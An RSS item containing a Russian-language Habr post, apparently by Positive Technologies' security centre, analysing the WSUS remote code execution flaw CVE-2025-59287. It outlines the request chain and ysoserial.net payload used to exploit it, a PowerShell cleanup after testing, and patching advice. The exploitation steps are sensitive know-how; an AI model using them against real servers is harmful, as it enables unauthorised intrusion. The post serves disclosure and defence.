      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/fa9/bc7/255/fa9bc7255a664fd210ed46a5ae51acb4.png width=760 height=438 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/fa9/bc7/255/fa9bc7255a664fd210ed46a5ae51acb4.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/fa9/bc7/255/fa9bc7255a664fd210ed46a5ae51acb4.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Одной из самых актуальных уязвимостей в Windows Server Update Services (WSUS) стала критическая ошибка с идентификатором CVE-2025-59287 и оценкой CVSS 9.8. Она связана с десериализацией недоверенных данных в службе обновления Windows Server и позволяет неавторизованному удаленному злоумышленнику выполнить код на сервере, отправив специально сформированное событие.&lt;p&gt;В &lt;a href=https://hawktrace.com/blog/cve-2025-59287/&gt;разборах эксплуатации&lt;/a&gt; шаги были указаны некорректно, так как их взяли из статьи. Однако позже авторы сами ее исправили и указали, что разбор относится к CVE-2023-35317, тогда как анализ CVE-2025-59287 перенесли &lt;a href=https://hawktrace.com/blog/cve-2025-59287-unauth/&gt;в отдельную статью&lt;/a&gt;.&lt;p&gt;Это вызвало путаницу в многочисленных репостах, поэтому мы решили расставить все точки над i и заодно показать, как атакующий может восстановить оснастку после эксплуатации уязвимости.&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Статья носит исключительно информационный и образовательный характер и не является инструкцией или призывом к совершению противоправных действий. Описанные материалы предназначены для повышения осведомленности о возможных уязвимостях и методах их предотвращения. Любое тестирование безопасности допускается только при наличии явного разрешения правообладателя соответствующих ресурсов или в рамках официальной программы багбаунти. Несанкционированные действия могут нарушать законодательство. Автор статьи не поощряет и не поддерживает неправомерное использование представленной информации и не несет ответственности за ее использование в противоправных целях. Помните, что нужно уделять внимание защите своих данных и использовать информацию из статьи исключительно в законных целях.&lt;/em&gt;&lt;/blockquote&gt;&lt;h2&gt;Технические детали эксплуатации&lt;/h2&gt;&lt;p&gt;Напомним условия для эксплуатации:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Сервер Windows с включенной ролью WSUS Server (по умолчанию отключена);&lt;li&gt;&lt;p&gt;Неустановленные обновления KB5070879 / KB5070881 / KB5070882 / KB5070883 / KB5070884 / KB5070886 / KB5070887;&lt;li&gt;&lt;p&gt;Сетевой доступ к портам 8530 (HTTP) или 8531 (HTTPS);&lt;li&gt;&lt;p&gt;Учетные данные не требуются.&lt;/ul&gt;&lt;p&gt;Техническая цепочка эксплуатации:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Получение конфигурации — злоумышленник отправляет запрос к &lt;code&gt;/ReportingWebService/ReportingWebService.asmx&lt;/code&gt; для получения ServerID.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/022/f21/45b/022f2145bb66b2c75f71bd215a8320aa.png width=2710 height=1374 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/022/f21/45b/022f2145bb66b2c75f71bd215a8320aa.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/022/f21/45b/022f2145bb66b2c75f71bd215a8320aa.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;li&gt;&lt;p&gt;Извлечение cookies — используя ServerID, выполняется запрос к &lt;code&gt;/SimpleAuthWebService/SimpleAuth.asmx&lt;/code&gt; для получения &lt;code&gt;AuthorizationCookie&lt;/code&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/dff/31e/543/dff31e543362662e01dea0131b28f434.png width=2720 height=1358 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/dff/31e/543/dff31e543362662e01dea0131b28f434.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/dff/31e/543/dff31e543362662e01dea0131b28f434.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;li&gt;&lt;p&gt;Получение криптографических данных — запрос к &lt;code&gt;/ClientWebService/Client.asmx&lt;/code&gt; для извлечения временных меток и зашифрованной нагрузки.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/448/317/ccc/448317ccce89b2a94498b6add69156f2.png width=2574 height=1368 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/448/317/ccc/448317ccce89b2a94498b6add69156f2.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/448/317/ccc/448317ccce89b2a94498b6add69156f2.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;li&gt;&lt;p&gt;Доставка полезной нагрузки — финальный запрос отправляет событие с вредоносным сериализованным объектом, созданным через &lt;a href=http://ysoserial.net&gt;ysoserial.net&lt;/a&gt; с гаджетом &lt;code&gt;TextFormattingRunProperties&lt;/code&gt;, с использованием события &lt;code&gt;SynchronizationCompletedCancel&lt;/code&gt;.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/27c/0d2/203/27c0d2203907b8fdf7cdbd15038404d6.png width=2620 height=1408 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/27c/0d2/203/27c0d2203907b8fdf7cdbd15038404d6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/27c/0d2/203/27c0d2203907b8fdf7cdbd15038404d6.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;/ol&gt;&lt;p&gt;При обработке события с ID 389 (&lt;code&gt;SynchronizationCompletedCancel&lt;/code&gt;) WSUS пытается десериализовать XML с телом ошибки, что приводит к выполнению произвольного кода.&lt;p&gt;Также в процессе эксплуатации регистрируется ложный узел с указанным DNS, в рамках которого отправляется событие. Этот процесс легко автоматизировать — например, с помощью шаблона Nuclei:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/375/ef6/434/375ef64344114620cee0f11a35b9a9b3.png width=2648 height=934 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/375/ef6/434/375ef64344114620cee0f11a35b9a9b3.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/375/ef6/434/375ef64344114620cee0f11a35b9a9b3.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/600/f5d/74e/600f5d74e3084b18449d2d385245ae16.png alt=&#34;Восстановление оснастки после тестирования&#34; title=&#34;Восстановление оснастки после тестирования&#34; width=2698 height=910 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/600/f5d/74e/600f5d74e3084b18449d2d385245ae16.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/600/f5d/74e/600f5d74e3084b18449d2d385245ae16.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Восстановление оснастки после тестирования&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;После успешной эксплуатации оснастка WSUS ломается. Это происходит потому, что GUI при отображении узлов парсит их события, а у ложного узла событие повреждено и не поддается десериализации. В результате отображение узлов вызывает исключение и интерфейс перестает работать.&lt;p&gt;Для восстановления необходимо удалить вредоносное событие из таблицы tbEventInstance в базе данных SUSDB. Однако прямой доступ к БД есть только у привилегированных пользователей, а служба WSUS часто запущена от имени Network Service.&lt;p&gt;При этом служба WSUS имеет доступ к функциям, используемым в оснастке, поэтому пользователь, от имени которого получена сессия (даже Network Service), может управлять зарегистрированными узлами. Это позволяет безопасно завершить эксплуатацию и сразу восстановить оснастку.&lt;pre&gt;&lt;code class=powershell&gt;$wsus = Get-WsusServer&#xA;&#xA;Get-WsusComputer -NameIncludes &amp;#34;test1337.test.local&amp;#34; | ForEach-Object {&#xA;    $wsus.GetComputerTarget($_.Id).Delete()&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Эта команда выполняет две важные функции:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Удаляет зарегистрированный ложный узел из базы данных WSUS;&lt;li&gt;&lt;p&gt;Автоматически очищает связанное с ним событие с ID 389, использованное для доставки полезной нагрузки.&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Почему это важно&lt;/strong&gt;: без очистки в WSUS остаются артефакты — ложный узел и события в логах, что может нарушить нормальную работу службы.&lt;/blockquote&gt;&lt;p&gt;Эта уязвимость демонстрирует, как критические компоненты инфраструктуры могут становиться точкой входа для злоумышленников. При проведении тестирования на проникновение важно не только атаковать, но и корректно восстанавливать систему после эксплуатации.&lt;p&gt;&lt;strong&gt;Что можно порекомендовать для защиты&lt;/strong&gt;:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Установите обновления — KB5070879 / KB5070881 / KB5070882 / KB5070883 / KB5070884 / KB5070886 / KB5070887 в зависимости от версии Windows Server&lt;li&gt;&lt;p&gt;Ограничьте сетевой доступ — WSUS не должен быть доступен из интернета. Используйте сегментацию сети для ограничения доступа только доверенным подсетям&lt;li&gt;&lt;p&gt;Если невозможно обновить — временно отключите роль WSUS Server или заблокируйте порты 8530/8531 до установки патчей&lt;/ul&gt;&lt;hr&gt;&lt;div class=persona&gt;&lt;img class=&#34;image persona__image&#34; src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/591/864/485/5918644855c697fca62609c6271b422d.png sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/591/864/485/5918644855c697fca62609c6271b422d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/591/864/485/5918644855c697fca62609c6271b422d.png 781w&#34; loading=lazy decode=async&gt;&lt;h5 class=persona__heading&gt;Экспертный центр безопасности Positive Technologies (PT ESC)&lt;/h5&gt;&lt;/div&gt;&lt;p&gt;(&lt;em&gt;Источник: &lt;/em&gt;&lt;a href=https://t.me/ptescalator&gt;&lt;em&gt;https://t.me/ptescalator&lt;/em&gt;&lt;/a&gt;)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/pt/articles/1024766/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024766</guid>
      <pubDate>Fri, 17 Apr 2026 17:14:21 +0000</pubDate>
    </item>
  </channel>
</rss>